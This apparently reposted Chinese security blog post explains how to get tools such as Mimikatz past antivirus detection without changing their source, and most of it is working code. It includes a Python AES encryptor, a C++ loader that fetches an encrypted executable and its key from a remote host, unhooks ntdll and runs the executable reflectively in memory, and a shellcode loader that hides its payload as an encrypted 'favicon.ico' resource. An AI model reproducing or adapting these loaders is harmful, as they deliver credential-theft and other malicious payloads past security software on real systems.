常用工具免杀-助你护网

admin 2023年8月21日00:37:54评论89 views字数 20366阅读67分53秒阅读模式

常用工具免杀-助你护网

在HW的过程中,我们经常会用到各种工具。以Mimikatz 为例,经常用来抓取凭据。当然,由于该工具十分的流行,它经常被 Windows Defender 和各大安全厂商标记为恶意二进制文件,落地就会被杀

不过,值得庆幸的是,像mimikatz这些工具很多都是开源的,因此我们可以尝试重新编译该工具,以破解AV用来检测它的签名,网上关于这种免杀方式的文章非常多,可以自行查阅。这里介绍一种非常规的办法:在不用修改源码,重新编译,二开的方式的情况下来进行免杀

具体办法分为两种:

第一种:

1.将 PE文件(xxx.exe)用AES加密

2.在内存中加载远程 AES 加密的PE,解密并运行它

aes.py

import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandom
import hashlib

def AESencrypt(plaintext, key):
  k = hashlib.sha256(KEY).digest()
  iv = 16 * b'x00'
  plaintext = pad(plaintext, AES.block_size)
  cipher = AES.new(k, AES.MODE_CBC, iv)
  ciphertext = cipher.encrypt(plaintext)
  return ciphertext,key
 
def dropFile(key, ciphertext):
with open("encrypt.bin", "wb") as fc:
  fc.write(ciphertext)
with open("key.bin", "wb") as fk:
  fk.write(key)
#print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')
#print('unsigned char AESshellcode[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')


try:
  file = open(sys.argv[1], "rb")
  content = file.read()
except:
  print("Usage: .AES_cryptor.py PAYLOAD_FILE")
  sys.exit()


KEY = urandom(16)
ciphertext, key = AESencrypt(content, KEY)

dropFile(KEY,ciphertext)

PEloader

#define _CRT_RAND_S
#include <Windows.h>
#include <stdio.h>
#include <vector>
#include <psapi.h>
#include <winternl.h>
#include <winhttp.h>
#include <wincrypt.h>
#include <limits>
#include <stdlib.h>

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) -2 )
#define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 )

#pragma comment (lib, "crypt32.lib")
#pragma comment(lib, "winhttp")

#pragma warning (disable: 4996)
#define _CRT_SECURE_NO_WARNINGS

#pragma comment(lib, "ntdll")

EXTERN_C NTSTATUS NtOpenSection(
  OUT PHANDLE             SectionHandle,
  IN ACCESS_MASK         DesiredAccess,
  IN POBJECT_ATTRIBUTES   ObjectAttributes
);

using MyNtMapViewOfSection = NTSTATUS(NTAPI*)(
  HANDLE SectionHandle,
  HANDLE ProcessHandle,
  PVOID* BaseAddress,
  ULONG_PTR ZeroBits,
  SIZE_T CommitSize,
  PLARGE_INTEGER SectionOffset,
  PSIZE_T ViewSize,
  DWORD InheritDisposition,
  ULONG AllocationType,
  ULONG Win32Protect
  );




typedef struct _BASE_RELOCATION_ENTRY {
  WORD Offset : 12;
  WORD Type : 4;
} BASE_RELOCATION_ENTRY;



struct DATA {

  LPVOID data;
  size_t len;

};


void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
  HCRYPTPROV hProv;
  HCRYPTHASH hHash;
  HCRYPTKEY hKey;

  if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
      printf("Failed in CryptAcquireContextW (%u)n", GetLastError());
      return;
  }
  if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
      printf("Failed in CryptCreateHash (%u)n", GetLastError());
      return;
  }
  if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
      printf("Failed in CryptHashData (%u)n", GetLastError());
      return;
  }
  if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
      printf("Failed in CryptDeriveKey (%u)n", GetLastError());
      return;
  }

  if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) {
      printf("Failed in CryptDecrypt (%u)n", GetLastError());
      return;
  }

  CryptReleaseContext(hProv, 0);
  CryptDestroyHash(hHash);
  CryptDestroyKey(hKey);

}


DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) {

  DATA data;
  std::vector<unsigned char> buffer;
  DWORD dwSize = 0;
  DWORD dwDownloaded = 0;
  LPSTR pszOutBuffer = NULL;
  BOOL bResults = FALSE;
  HINTERNET hSession = NULL,
      hConnect = NULL,
      hRequest = NULL;
  // Use WinHttpOpen to obtain a session handle.
  hSession = WinHttpOpen(L"WinHTTP Example/1.0",
      WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
      WINHTTP_NO_PROXY_NAME,
      WINHTTP_NO_PROXY_BYPASS, 0);


  // Specify an HTTP server.
  if (hSession)
      hConnect = WinHttpConnect(hSession, whost,
          port, 0);
  else
      printf("Failed in WinHttpConnect (%u)n", GetLastError());

  // Create an HTTP request handle.
  if (hConnect)
      hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource,
          NULL, WINHTTP_NO_REFERER,
          WINHTTP_DEFAULT_ACCEPT_TYPES,
          NULL);
  else
      printf("Failed in WinHttpOpenRequest (%u)n", GetLastError());

  // Send a request.
  if (hRequest)
      bResults = WinHttpSendRequest(hRequest,
          WINHTTP_NO_ADDITIONAL_HEADERS,
          0, WINHTTP_NO_REQUEST_DATA, 0,
          0, 0);
  else
      printf("Failed in WinHttpSendRequest (%u)n", GetLastError());

  // End the request.
  if (bResults)
      bResults = WinHttpReceiveResponse(hRequest, NULL);
  else printf("Failed in WinHttpReceiveResponse (%u)n", GetLastError());

  // Keep checking for data until there is nothing left.
  if (bResults)
      do
      {
          // Check for available data.
          dwSize = 0;
          if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
              printf("Error %u in WinHttpQueryDataAvailable (%u)n", GetLastError());

          // Allocate space for the buffer.
          pszOutBuffer = new char[dwSize + 1];
          if (!pszOutBuffer)
          {
              printf("Out of memoryn");
              dwSize = 0;
          }
          else
          {
              // Read the Data.
              ZeroMemory(pszOutBuffer, dwSize + 1);

              if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
                  dwSize, &dwDownloaded))
                  printf("Error %u in WinHttpReadData.n", GetLastError());
              else {

                  buffer.insert(buffer.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);

              }
              delete[] pszOutBuffer;
          }

      } while (dwSize > 0);

      if (buffer.empty() == TRUE)
      {
          printf("Failed in retrieving the Shellcode");
      }

      // Report any errors.
      if (!bResults)
          printf("Error %d has occurred.n", GetLastError());

      // Close any open handles.
      if (hRequest) WinHttpCloseHandle(hRequest);
      if (hConnect) WinHttpCloseHandle(hConnect);
      if (hSession) WinHttpCloseHandle(hSession);

      size_t size = buffer.size();

      char* bufdata = (char*)malloc(size);
      for (int i = 0; i < buffer.size(); i++) {
          bufdata[i] = buffer[i];
      }
      data.data = bufdata;
      data.len = size;
      return data;

}


//cmdline args vars
BOOL hijackCmdline = FALSE;
char* sz_masqCmd_Ansi = NULL;
char* sz_masqCmd_ArgvAnsi[100];
wchar_t* sz_masqCmd_Widh = NULL;
wchar_t* sz_masqCmd_ArgvWidh[100];
wchar_t** poi_masqArgvW = NULL;
char** poi_masqArgvA = NULL;
int int_masqCmd_Argc = 0;
struct MemAddrs* pMemAddrs = NULL;
DWORD dwTimeout = 0;

//PE vars
BYTE* pImageBase = NULL;
IMAGE_NT_HEADERS* ntHeader = NULL;


//-------------All of these functions are custom-defined versions of functions we hook in the PE's IAT-------------

LPWSTR hookGetCommandLineW()
{
  //BeaconPrintf(CALLBACK_OUTPUT, "called: getcommandlinew");
  return sz_masqCmd_Widh;
}

LPSTR hookGetCommandLineA()
{
  //BeaconPrintf(CALLBACK_OUTPUT, "called: getcommandlinea");
  return sz_masqCmd_Ansi;
}

char*** __cdecl hook__p___argv(void)
{
  //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___argv");
  return &poi_masqArgvA;
}

wchar_t*** __cdecl hook__p___wargv(void)
{

  //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___wargv");
  return &poi_masqArgvW;
}

int* __cdecl hook__p___argc(void)
{
  //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___argc");
  return &int_masqCmd_Argc;
}

int hook__wgetmainargs(int* _Argc, wchar_t*** _Argv, wchar_t*** _Env, int _useless_, void* _useless)
{
  //BeaconPrintf(CALLBACK_OUTPUT, "called __wgetmainargs");
  *_Argc = int_masqCmd_Argc;
  *_Argv = poi_masqArgvW;

  return 0;
}

int hook__getmainargs(int* _Argc, char*** _Argv, char*** _Env, int _useless_, void* _useless)
{
  //BeaconPrintf(CALLBACK_OUTPUT, "called __getmainargs");
  *_Argc = int_masqCmd_Argc;
  *_Argv = poi_masqArgvA;

  return 0;
}

_onexit_t __cdecl hook_onexit(_onexit_t function)
{
  //BeaconPrintf(CALLBACK_OUTPUT, "called onexit!n");
  return 0;
}

int __cdecl hookatexit(void(__cdecl* func)(void))
{
  //BeaconPrintf(CALLBACK_OUTPUT, "called atexit!n");
  return 0;
}

int __cdecl hookexit(int status)
{
  //BeaconPrintf(CALLBACK_OUTPUT, "Exit called!n");
  //_cexit() causes cmd.exe to break for reasons unknown...
  ExitThread(0);
  return 0;
}

void __stdcall hookExitProcess(UINT statuscode)
{
  //BeaconPrintf(CALLBACK_OUTPUT, "ExitProcess called!n");
  ExitThread(0);
}
void masqueradeCmdline()
{
  //Convert cmdline to widestring
  int required_size = MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, NULL, 0);
  sz_masqCmd_Widh = (wchar_t*)calloc(required_size + 1, sizeof(wchar_t));
  MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, sz_masqCmd_Widh, required_size);

  //Create widestring array of pointers
  poi_masqArgvW = CommandLineToArgvW(sz_masqCmd_Widh, &int_masqCmd_Argc);

  //Manual function equivalent for CommandLineToArgvA
  int retval;
  int memsize = int_masqCmd_Argc * sizeof(LPSTR);
  for (int i = 0; i < int_masqCmd_Argc; ++i)
  {
      retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, NULL, 0, NULL, NULL);
      memsize += retval;
  }

  poi_masqArgvA = (LPSTR*)LocalAlloc(LMEM_FIXED, memsize);

  int bufLen = memsize - int_masqCmd_Argc * sizeof(LPSTR);
  LPSTR buffer = ((LPSTR)poi_masqArgvA) + int_masqCmd_Argc * sizeof(LPSTR);
  for (int i = 0; i < int_masqCmd_Argc; ++i)
  {
      retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, buffer, bufLen, NULL, NULL);
      poi_masqArgvA[i] = buffer;
      buffer += retval;
      bufLen -= retval;
  }

  hijackCmdline = TRUE;
}


//This array is created manually since CommandLineToArgvA doesn't exist, so manually freeing each item in array
void freeargvA(char** array, int Argc)
{
  //Wipe cmdline args from beacon memory
  for (int i = 0; i < Argc; i++)
  {
      memset(array[i], 0, strlen(array[i]));
  }
  LocalFree(array);
}

//This array is returned from CommandLineToArgvW so using LocalFree as per MSDN
void freeargvW(wchar_t** array, int Argc)
{
  //Wipe cmdline args from beacon memory
  for (int i = 0; i < Argc; i++)
  {
      memset(array[i], 0, wcslen(array[i]) * 2);
  }
  LocalFree(array);
}


char* GetNTHeaders(char* pe_buffer)
{
  if (pe_buffer == NULL) return NULL;

  IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)pe_buffer;
  if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
      return NULL;
  }
  const LONG kMaxOffset = 1024;
  LONG pe_offset = idh->e_lfanew;
  if (pe_offset > kMaxOffset) return NULL;
  IMAGE_NT_HEADERS32* inh = (IMAGE_NT_HEADERS32*)((char*)pe_buffer + pe_offset);
  if (inh->Signature != IMAGE_NT_SIGNATURE) return NULL;
  return (char*)inh;
}

IMAGE_DATA_DIRECTORY* GetPEDirectory(PVOID pe_buffer, size_t dir_id)
{
  if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;

  char* nt_headers = GetNTHeaders((char*)pe_buffer);
  if (nt_headers == NULL) return NULL;

  IMAGE_DATA_DIRECTORY* peDir = NULL;

  IMAGE_NT_HEADERS* nt_header = (IMAGE_NT_HEADERS*)nt_headers;
  peDir = &(nt_header->OptionalHeader.DataDirectory[dir_id]);

  if (peDir->VirtualAddress == NULL) {
      return NULL;
  }
  return peDir;
}

bool RepairIAT(PVOID modulePtr)
{
  IMAGE_DATA_DIRECTORY* importsDir = GetPEDirectory(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT);
  if (importsDir == NULL) return false;

  size_t maxSize = importsDir->Size;
  size_t impAddr = importsDir->VirtualAddress;

  IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL;
  size_t parsedSize = 0;

  for (; parsedSize < maxSize; parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
      lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR)modulePtr);

      if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) break;
      LPSTR lib_name = (LPSTR)((ULONGLONG)modulePtr + lib_desc->Name);

      size_t call_via = lib_desc->FirstThunk;
      size_t thunk_addr = lib_desc->OriginalFirstThunk;
      if (thunk_addr == NULL) thunk_addr = lib_desc->FirstThunk;

      size_t offsetField = 0;
      size_t offsetThunk = 0;
      while (true)
      {
          IMAGE_THUNK_DATA* fieldThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetField + call_via);
          IMAGE_THUNK_DATA* orginThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetThunk + thunk_addr);

          if (orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) // check if using ordinal (both x86 && x64)
          {
              size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), (char*)(orginThunk->u1.Ordinal & 0xFFFF));
              fieldThunk->u1.Function = addr;
          }

          if (fieldThunk->u1.Function == NULL) break;

          if (fieldThunk->u1.Function == orginThunk->u1.Function) {

              PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME)((size_t)(modulePtr)+orginThunk->u1.AddressOfData);
              LPSTR func_name = (LPSTR)by_name->Name;

              size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), func_name);
               

              if (hijackCmdline && _stricmp(func_name, "GetCommandLineA") == 0)
              {
                  fieldThunk->u1.Function = (size_t)hookGetCommandLineA;
              }
              else if (hijackCmdline && _stricmp(func_name, "GetCommandLineW") == 0)
              {
                  fieldThunk->u1.Function = (size_t)hookGetCommandLineW;
              }
              else if (hijackCmdline && _stricmp(func_name, "__wgetmainargs") == 0)
              {
                  fieldThunk->u1.Function = (size_t)hook__wgetmainargs;
              }
              else if (hijackCmdline && _stricmp(func_name, "__getmainargs") == 0)
              {
                  fieldThunk->u1.Function = (size_t)hook__getmainargs;
              }
              else if (hijackCmdline && _stricmp(func_name, "__p___argv") == 0)
              {
                  fieldThunk->u1.Function = (size_t)hook__p___argv;
              }
              else if (hijackCmdline && _stricmp(func_name, "__p___wargv") == 0)
              {
                  fieldThunk->u1.Function = (size_t)hook__p___wargv;
              }
              else if (hijackCmdline && _stricmp(func_name, "__p___argc") == 0)
              {
                  fieldThunk->u1.Function = (size_t)hook__p___argc;
              }
              else if (hijackCmdline && (_stricmp(func_name, "exit") == 0 || _stricmp(func_name, "_Exit") == 0 || _stricmp(func_name, "_exit") == 0 || _stricmp(func_name, "quick_exit") == 0))
              {
                  fieldThunk->u1.Function = (size_t)hookexit;
              }
              else if (hijackCmdline && _stricmp(func_name, "ExitProcess") == 0)
              {
                  fieldThunk->u1.Function = (size_t)hookExitProcess;
              }
              else
                  fieldThunk->u1.Function = addr;

          }
          offsetField += sizeof(IMAGE_THUNK_DATA);
          offsetThunk += sizeof(IMAGE_THUNK_DATA);
      }
  }
  return true;
}

void PELoader(char* data, DWORD datasize)
{

  masqueradeCmdline();

  unsigned int chksum = 0;
  for (long long i = 0; i < datasize; i++) { chksum = data[i] * i + chksum / 3; };

  BYTE* pImageBase = NULL;
  LPVOID preferAddr = 0;
  DWORD OldProtect = 0;
   
  IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)GetNTHeaders(data);
  if (!ntHeader) {
      exit(0);
  }
   
  IMAGE_DATA_DIRECTORY* relocDir = GetPEDirectory(data, IMAGE_DIRECTORY_ENTRY_BASERELOC);
  preferAddr = (LPVOID)ntHeader->OptionalHeader.ImageBase;


  HMODULE dll = LoadLibraryA("ntdll.dll");
  ((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll, "NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)ntHeader->OptionalHeader.ImageBase);

  pImageBase = (BYTE*)VirtualAlloc(preferAddr, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  if (!pImageBase) {
      if (!relocDir) {
          exit(0);
      }
      else {
          pImageBase = (BYTE*)VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
          if (!pImageBase)
          {
              exit(0);
          }
      }
  }

  // FILL the memory block with PEdata
  ntHeader->OptionalHeader.ImageBase = (size_t)pImageBase;
  memcpy(pImageBase, data, ntHeader->OptionalHeader.SizeOfHeaders);

  IMAGE_SECTION_HEADER* SectionHeaderArr = (IMAGE_SECTION_HEADER*)(size_t(ntHeader) + sizeof(IMAGE_NT_HEADERS));
  for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++)
  {
      memcpy(LPVOID(size_t(pImageBase) + SectionHeaderArr[i].VirtualAddress), LPVOID(size_t(data) + SectionHeaderArr[i].PointerToRawData), SectionHeaderArr[i].SizeOfRawData);
  }

  // Fix the PE Import addr table
  RepairIAT(pImageBase);

  // AddressOfEntryPoint
  size_t retAddr = (size_t)(pImageBase)+ntHeader->OptionalHeader.AddressOfEntryPoint;
   
  EnumThreadWindows(0, (WNDENUMPROC)retAddr, 0);
   
}




LPVOID getNtdll() {

  LPVOID pntdll = NULL;

  //Create our suspended process
  STARTUPINFOA si;
  PROCESS_INFORMATION pi;
  ZeroMemory(&si, sizeof(si));
  ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
  CreateProcessA("C:\Windows\System32\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

  if (!pi.hProcess)
  {
      printf("[-] Error creating processrn");
      return NULL;
  }

  //Get base address of NTDLL
  HANDLE process = GetCurrentProcess();
  MODULEINFO mi;
  HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
  GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));


  pntdll = HeapAlloc(GetProcessHeap(), 0, mi.SizeOfImage);
  SIZE_T dwRead;
  BOOL bSuccess = ReadProcessMemory(pi.hProcess, (LPCVOID)mi.lpBaseOfDll, pntdll, mi.SizeOfImage, &dwRead);
  if (!bSuccess) {
      printf("Failed in reading ntdll (%u)n", GetLastError());
      return NULL;
  }


  TerminateProcess(pi.hProcess, 0);
  return pntdll;
}




BOOL Unhook(LPVOID cleanNtdll) {

  char nt[] = { 'n','t','d','l','l','.','d','l','l', 0 };

  HANDLE hNtdll = GetModuleHandleA(nt);
  DWORD oldprotect = 0;
  PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)cleanNtdll;
  PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((DWORD64)cleanNtdll + DOSheader->e_lfanew);
  int i;


  // find .text section
  for (i = 0; i < NTheader->FileHeader.NumberOfSections; i++) {
      PIMAGE_SECTION_HEADER sectionHdr = (PIMAGE_SECTION_HEADER)((DWORD64)IMAGE_FIRST_SECTION(NTheader) + ((DWORD64)IMAGE_SIZEOF_SECTION_HEADER * i));

      char txt[] = { '.','t','e','x','t', 0 };

      if (!strcmp((char*)sectionHdr->Name, txt)) {

          // prepare ntdll.dll memory region for write permissions.
          BOOL ProtectStatus1 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress),
              sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect);
          if (!ProtectStatus1) {
              printf("Failed to change the protection (%u)n", GetLastError());
              return FALSE;
          }

          // copy .text section from the mapped ntdll to the hooked one
          memcpy((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)cleanNtdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize);


          // restore original protection settings of ntdll
          BOOL ProtectStatus2 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress),
              sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect);
          if (!ProtectStatus2) {
              printf("Failed to change the protection back (%u)n", GetLastError());
              return FALSE;
          }

      }
  }

  return TRUE;

}


int main(int argc, char** argv) {

      if (argc != 5) {
          printf("[+] Usage: %s <Host> <Port> <Cipher> <Key>n", argv[0]);
          return 1;
      }

      char* host = argv[1];


      DWORD port = atoi(argv[2]);


      char* pe = argv[3];

      char* key = argv[4];

      const size_t cSize1 = strlen(host) + 1;
      wchar_t* whost = new wchar_t[cSize1];
      mbstowcs(whost, host, cSize1);


      const size_t cSize2 = strlen(pe) + 1;
      wchar_t* wpe = new wchar_t[cSize2];
      mbstowcs(wpe, pe, cSize2);

      const size_t cSize3 = strlen(key) + 1;
      wchar_t* wkey = new wchar_t[cSize3];
      mbstowcs(wkey, key, cSize3);

       

      printf("nn[+] Get AES Encrypted PE from %s:%dn", host, port);
      DATA PE = GetData(whost, port, wpe);
      if (!PE.data) {
          printf("[-] Failed in getting AES Encrypted PEn");
          return -1;
      }

      printf("n[+] Get AES Key from %s:%dn", host, port);
      DATA keyData = GetData(whost, port, wkey);
      if (!keyData.data) {
          printf("[-] Failed in getting keyn");
          return -2;
      }
      printf("n[+] AES PE Address : %pn", PE.data);
      printf("n[+] AES Key Address : %pn", keyData.data);
       
      printf("n[+] Decrypt the PE n");
      DecryptAES((char*)PE.data, PE.len, (char*)keyData.data, keyData.len);
      printf("n[+] PE Decryptedn");

      // Fixing command line
      sz_masqCmd_Ansi = (char*)"whatEver";
       
      printf("n[+] Loading and Running PEn");
      PELoader((char*)PE.data, PE.len);

      printf("n[+] Finishedn");


  return 0;
}


第二种:

1.将xxx .exe 转换为 shellcode(pe2shellcode)

2.加密shellcode保存为资源格式或其他格式

3.shellcode加载器

aes.py

import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib

KEY = urandom(16)

def pad(s):
  padding = (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
  return s + padding.encode()

def aesenc(plaintext, key):
  k = hashlib.sha256(key).digest()
  iv = (16 * 'x00').encode()
  plaintext = pad(plaintext)
  cipher = AES.new(k, AES.MODE_CBC, iv)

  return cipher.encrypt(bytes(plaintext))


try:
  plaintext = open(sys.argv[1], "rb").read()
except:
  print("File argument needed! %s <raw payload file>" % sys.argv[0])
  sys.exit()

ciphertext = aesenc(plaintext, KEY)
open("favicon.ico",'wb').write(ciphertext)

KEY_str = KEY.decode('latin-1')
print('AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')


shellcode loader

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#include <shlwapi.h>
#include <winuser.h>
#include <psapi.h>

#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "shlwapi.lib")

#include "resource.h"


int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, payload, &payload_len)) {
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}



int main() {
void* exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

unsigned char* payload;
unsigned int payload_len;

HGLOBAL resHandle = NULL;
HRSRC res;

char key[] = { 0x80, 0x79, 0xea, 0xa8, 0xfc, 0xe4, 0x64, 0x6b, 0x17, 0x79, 0xa0, 0x7a, 0x4e, 0x5f, 0xc3, 0x91 };


res = FindResource(NULL, MAKEINTRESOURCE(IDR_FAVICON1), RT_RCDATA);
if (res == NULL) {
DWORD errorCode = GetLastError();
printf("Could not find resource! Error code: %dn", errorCode);
return 0;
}
resHandle = LoadResource(NULL, res);
payload = (unsigned char*)LockResource(resHandle);
payload_len = SizeofResource(NULL, res);

exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

RtlMoveMemory(exec_mem, payload, payload_len);

AESDecrypt((char*)exec_mem, payload_len, key, sizeof(key));

rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READWRITE, &oldprotect);

if (rv != 0) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return 0;
}

自己懒得编译的话,附上一个学员的项目地址:https://github.com/snnxyss/In-Swor

原文始发于微信公众号(老鑫安全):常用工具免杀-助你护网

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月21日00:37:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   常用工具免杀-助你护网http://cn-sec.com/archives/1957003.html

发表评论

匿名网友 填写信息